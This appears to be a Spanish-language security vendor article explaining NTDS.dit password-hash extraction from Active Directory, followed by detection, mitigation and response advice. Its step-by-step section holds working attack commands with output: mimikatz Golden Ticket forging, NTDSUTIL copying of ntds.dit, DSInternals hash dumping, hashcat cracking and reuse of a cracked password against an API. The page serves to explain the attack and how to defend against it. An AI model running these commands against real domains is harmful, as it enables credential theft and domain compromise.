Ataque de extracción de contraseñas de NTDS.dit
Todos los datos en Active Directory se almacenan en el archivo ntds.dit (“el dit”) en cada controlador de dominio (en C:\Windows\NTDS\ por defecto). Los atacantes pueden usar los hashes de contraseñas directamente del dit para avanzar en sus objetivos. Descifrar las contraseñas de los usuarios es beneficioso incluso si un adversario ya ha obtenido dominio sobre el dominio, ya que los usuarios frecuentemente reutilizan contraseñas en sistemas y aplicaciones unidos y no unidos al dominio.
Para obtener acceso al archivo ntds.dit en un controlador de dominio, un adversario debe haber obtenido previamente acceso de administrador a Active Directory. Alternativamente, un adversario podría comprometer la solución de respaldo empresarial responsable de respaldar los controladores de dominio y copiar ntds.dit de un respaldo. La mayoría de las organizaciones no rotan con frecuencia el secreto de krbtgt (ver el ataque de Golden Ticket) por lo que incluso los respaldos antiguos pueden ser útiles.
Resumen de amenazas
Objetivo: Active Directory
Herramientas: DSInternals, ntdsxtract, PowerSploit, mimikatz
Táctica ATT&CK®: Acceso a Credenciales
Técnica ATT&CK: T1003.003
Dificultad
Detección: Media
Mitigación: Media
Respuesta: Hard
Tutorial de ataque: Cómo funciona la extracción de contraseñas de NTDS.dit
PASO 1: Obtener los privilegios requeridos
Un adversario debe poseer acceso al sistema de archivos de un controlador de dominio antes de que pueda extraer ntds.dit. Dado que este requisito convierte la extracción de ntds.dit en un ataque de etapa avanzada, un adversario podría utilizar un hash de contraseña previamente comprometido de la cuenta de equipo de un controlador de dominio para crear un Silver Ticket.
En el ejemplo a continuación, el adversario utiliza mimikatz para obtener acceso al sistema de archivos de un controlador de dominio a través de un Golden Ticket.
PS> .\mimikatz.exe "kerberos::golden /user:FakeUser1 /domain:domain.com /sid:S-1-5-21-441320023-234525631-506766575 /id:S-1-5-21-441320023-234525631-506766575-1000 /target:DC1.domain.com /service:HOST /RC4:be3710380a7600e825a2d9ef4ae0fcf0 /ptt" "misc::cmd"
User: FakeUser1
Domain: domain.com (DOMAIN)
SID: S-1-5-21-441320023-234525631-506766575
User Id: 0
Groups Id : *513 512 520 518 519
ServiceKey: be3710380a7600e825a2d9ef4ae0fcf0 - rc4_hmac_nt
Service: HOST
Target: DC1.domain.com
Lifetime: 31/07/2020 11:13:28 ; 29/07/2030 11:13:28 ; 29/07/2030 11:13:28
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'FakeUser1 @ domain.com' successfully submitted for current session
mimikatz # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF7FB1F4320
# A new command prompt window opens
C:\Windows\System32>
PASO 2: Exfiltrar ntds.dit
Con acceso al sistema de archivos de un controlador de dominio, el adversario puede exfiltrar ntds.dit así como el registro HKEY_LOCAL_MACHINE\SYSTEM, que es necesario para obtener la Boot Key para descifrar ntds.dit.
Cabe destacar que mientras Active Directory está en funcionamiento, mantiene un bloqueo del sistema de archivos en el archivo ntds.dit, por lo que los intentos de copiarlo fallarán. Los adversarios tienen múltiples maneras de sortear esta limitación; en particular, pueden:
- Simplemente detenga Active Directory (aunque esto probablemente resultará en ser detectado).
- Utilice el Servicio de copia de sombra de volumen (VSS) para crear una instantánea del volumen y extraer ntds.dit de la instantánea.
- Utilice una herramienta de PowerShell como PowerSploit’s Invoke-NinjaCopy para copiar los archivos aunque estén en uso.
- Utilice una herramienta integrada como DSDBUtil.exe o NTDSUtil.exe para crear archivos de medios de instalación de active directory.
PS> .\PSExec.exe \\dc1.domain.com cmd
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.17763.1339]
(c) 2018 Microsoft Corporation. All rights reserved.
DC1 > NTDSUTIL "Activate Instance NTDS" "IFM" "Create Full S:\Files" "q" "q"
NTDSUTIL: Activate Instance NTDS
Active instance set to "NTDS".
NTDSUTIL: IFM
ifm: Create Full S:\Files
Creating snapshot...
Snapshot set {3bacc31c-e2cb-4508-b0bf-5b4ec62f7c68} generated successfully.
Snapshot {6bfb4e7a-4c5a-42d2-8bd4-cc5f368de171} mounted as C:\$SNAP_202007311120_VOLUMES$\
Snapshot {328aa5f1-7f8f-4a0c-813c-573100a11e92} mounted as C:\$SNAP_202007311120_VOLUMEC$\
Initiating DEFRAGMENTATION mode...
Source Database: C:\$SNAP_202007311120_VOLUMES$\Windows\NTDS\ntds.dit
Target Database: S:\Files\Active Directory\ntds.dit
DefragmentationStatus (Complete)
0102030405060708090100
|----|----|----|----|----|----|----|----|----|----|
...................................................
Copying registry files...
Copying S:\Files\registry\SYSTEM
Copying S:\Files\registry\SECURITY
Snapshot {6bfb4e7a-4c5a-42d2-8bd4-cc5f368de171} unmounted.
Snapshot {328aa5f1-7f8f-4a0c-813c-573100a11e92} unmounted.
IFM media created successfully in S:\Files
ifm: q
NTDSUTIL: q
DC1 > Copy S:\Files \\wks2\Share
PASO 3: Extraer los hashes de contraseñas
Una vez que el adversario ha exfiltrado ntds.dit y el registro HKLM\SYSTEM, ya no requiere acceso a la red de la organización. Un adversario interesado en descifrar las contraseñas a menudo querrá ejecutar un ataque de fuerza bruta con un ordenador optimizado para ese propósito, pero primero necesitará extraer los hashes de ntds.dit. El módulo de PowerShell DSInternals proporciona los cmdlets Get-BootKey y Get-ADDBAccount para este propósito.
$Key = Get-BootKey -SystemHiveFilePath C:\IFM\registry\SYSTEM
Get-ADDBAccount -BootKey $Key -DatabasePath 'C:\IFM\Active Directory\ntds.dit' -All |
Format-Custom -View HashcatNT |
Out-File C:\Hashdump.txt
PS> Get-Content C:\Hashdump.txt
f8ae01fc52f45dda7baf7a67721665f1
eed224b4784bb040aab50b8856fe9f02
# --- Output Truncated --- #
PASO 4: Utiliza los hashes de contraseñas para lograr objetivos adicionales
El adversario ahora puede usar los hashes de contraseñas en ataques de pass-the-hash dentro del entorno (quizás como un medio de persistencia). Más probablemente, buscarán descifrar estas contraseñas para usarlas en ataques de relleno de credenciales contra sistemas que no están unidos al dominio. En este ejemplo, el adversario descifra los hashes para obtener contraseñas en texto plano y las utiliza para autenticarse en la API de una aplicación SaaS.
PS> .\hashcat.exe -m 1000 -a 3 --custom-charset1=?l?d?u --username -o cracked.txt .\Hashdump.txt ?1?1?1?1?1?1?1?1
Session..........: hashcat
Status...........: Running
Hash.Name........: NTLM
Hash.Target......: .\Hashdump.txt
Time.Started.....: Thu Aug 06 10:28:13 2020 (23 hours, 56 mins)
Time.Estimated...: Fri Aug 07 14:10:45 2020 (3 hours, 45 mins)
Guess.Mask.......: ?1?1?1?1?1?1?1?1 [8]
Guess.Charset....: -1 ?l?d?u, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:2165.2 MH/s (9.16ms) @ Accel:16 Loops:256 Thr:1024 Vec:1
Recovered........: 1/41 (2.44%) Digests
Progress.........: 189030831226880/218340105584896 (86.58%)
Rejected.........: 0/189030831226880 (0.00%)
Restore.Point....: 793149440/916132832 (86.58%)
Restore.Sub.#1...: Salt:0 Amplifier:13312-13568 Iteration:0-256
Candidates.#1....: TNAZRwMl -> FYNkI2Jx
Hardware.Mon.#1..: Temp: 84c Fan: 82% Util: 97% Core:1265MHz Mem:2504MHz Bus:16
PS> Get-Content .\cracked.txt
852e811a65d732c83214b4ff705d777a:F8qN47F1
PS># Attacker now uses the cracked passwords to authenticate with the username and password to a SaaS application's API
PS>$Username = "User1" # This is the user with the hash 852e811a65d732c83214b4ff705d777a which was cracked
PS>$Password = "F8qN47F1" # This is the password copied from cracked.txt
PS>$Object = New-Object -TypeName psobject
PS>$Object | Add-Member -MemberType NoteProperty -Name "login" -Value $Username
PS>$Object | Add-Member -MemberType NoteProperty -Name "password" -Value $Password
PS>$url = "https://service.url/api/login"
PS>$body = $Object | ConvertTo-Json
PS>$Header = @{ "accept" = "text/json"}
PS>$Response = Invoke-RestMethod -URI $url -Method POST -header $Header -Body $body -ContentType "application/json"
PS>$Headers = @{ 'Authorization' = "Bearer $Response" }
PS>$url = "https://service.url/api/DoThings"
PS>$Response = Invoke-RestMethod -Uri $url -Method Get -Headers $Headers
PS>$Response
{ "statusCode": 200, "statusMessage": "Things Done!" }
Detectar, Mitigar y Responder
Detectar
Dificultad: Media
Los intentos de acceso a ntds.dit pueden ser detectados utilizando el registro de eventos de Windows. Los ID de evento 4663 y 4656 de la subcategoría Audit File System pueden utilizarse para auditar el acceso al sistema de archivos. Utilice estos eventos para monitorear tanto intentos regulares como de Volume Shadow Copy para leer o modificar ntds.dit.
Mitigar
Dificultad: Media
Para mitigar el riesgo de extracción de contraseñas de ntds.dit, utilice las siguientes mejores prácticas para ayudar a asegurar que los adversarios no obtengan los privilegios necesarios para comprometer los controladores de dominio en primer lugar:
- Realice auditorías periódicas del acceso administrativo a Active Directory, incluyendo los derechos de Group Policy y la configuración de auditoría para los inicios de sesión en los controladores de dominio.
- Siga rigurosamente el principio de clean source para los controladores de dominio: Toda la infraestructura (por ejemplo, ESX y almacenamiento adjunto) en la que residen los controladores de dominio o aplicaciones que dan servicio a los controladores de dominio (como soluciones de respaldo) deben operar al mismo nivel de seguridad que los propios controladores de dominio.
- Asegure la seguridad física de las máquinas controladoras de dominio. Si no se puede garantizar la seguridad física, considere ejecutar controladores de dominio de solo lectura para limitar la exposición de contraseñas.
- No permita que los usuarios posean privilegios administrativos a través de límites de seguridad. Por ejemplo, un adversario que inicialmente compromete una estación de trabajo no debería poder escalar privilegios para moverse de una estación de trabajo a un servidor o controlador de dominio.
Responder
Dificultad: Difícil
Si se sospecha el compromiso de ntds.dit, también se debe asumir un compromiso total de Active Directory; en particular, asuma que el secreto krbtgt también fue comprometido. Tome la siguiente acción:
- Active el proceso de respuesta ante incidentes y alerte al equipo de respuesta. La recuperación de un compromiso total de Active Directory requiere una planificación y un esfuerzo significativos.
Compartir en
Ver ataques de ciberseguridad relacionados
Abuso de permisos de aplicaciones Entra ID – Cómo funciona y estrategias de defensa
Modificación de AdminSDHolder – Cómo funciona y estrategias de defensa
Ataque AS-REP Roasting - Cómo funciona y estrategias de defensa
Ataque Hafnium - Cómo funciona y estrategias de defensa
Ataques DCSync explicados: Amenaza a la seguridad de Active Directory
Ataque de Cuentas de Servicio Administradas por Grupo
Ataque Golden SAML
Entendiendo los ataques de Golden Ticket
Ataque DCShadow – Cómo funciona, ejemplos del mundo real y estrategias de defensa
ChatGPT Prompt Injection: Comprensión de riesgos, ejemplos y prevención
Ataque de Kerberoasting – Cómo funciona y estrategias de defensa
Ataque de Pass the Hash
Explicación del ataque Pass-the-Ticket: Riesgos, ejemplos y estrategias de defensa
Ataque de Password Spraying
Ataque de extracción de contraseñas en texto plano
Explicación de la vulnerabilidad Zerologon: Riesgos, Explotaciones y Mitigación
Ataques de ransomware a Active Directory
Desbloqueando Active Directory con el ataque Skeleton Key
Movimiento lateral: Qué es, cómo funciona y prevenciones
Ataques de Hombre en el Medio (MITM): Qué son y cómo prevenirlos
¿Por qué es PowerShell tan popular entre los atacantes?
4 ataques a cuentas de servicio y cómo protegerse contra ellos
Cómo prevenir que los ataques de malware afecten a su negocio
¿Qué es Credential Stuffing?
Comprometiendo SQL Server con PowerUpSQL
¿Qué son los ataques de Mousejacking y cómo defenderse de ellos?
Robo de credenciales con un Proveedor de Soporte de Seguridad (SSP)
Ataques de Rainbow Table: Cómo funcionan y cómo defenderse de ellos
Reconocimiento LDAP
Eludir MFA con el ataque Pass-the-Cookie
Ataque de Silver Ticket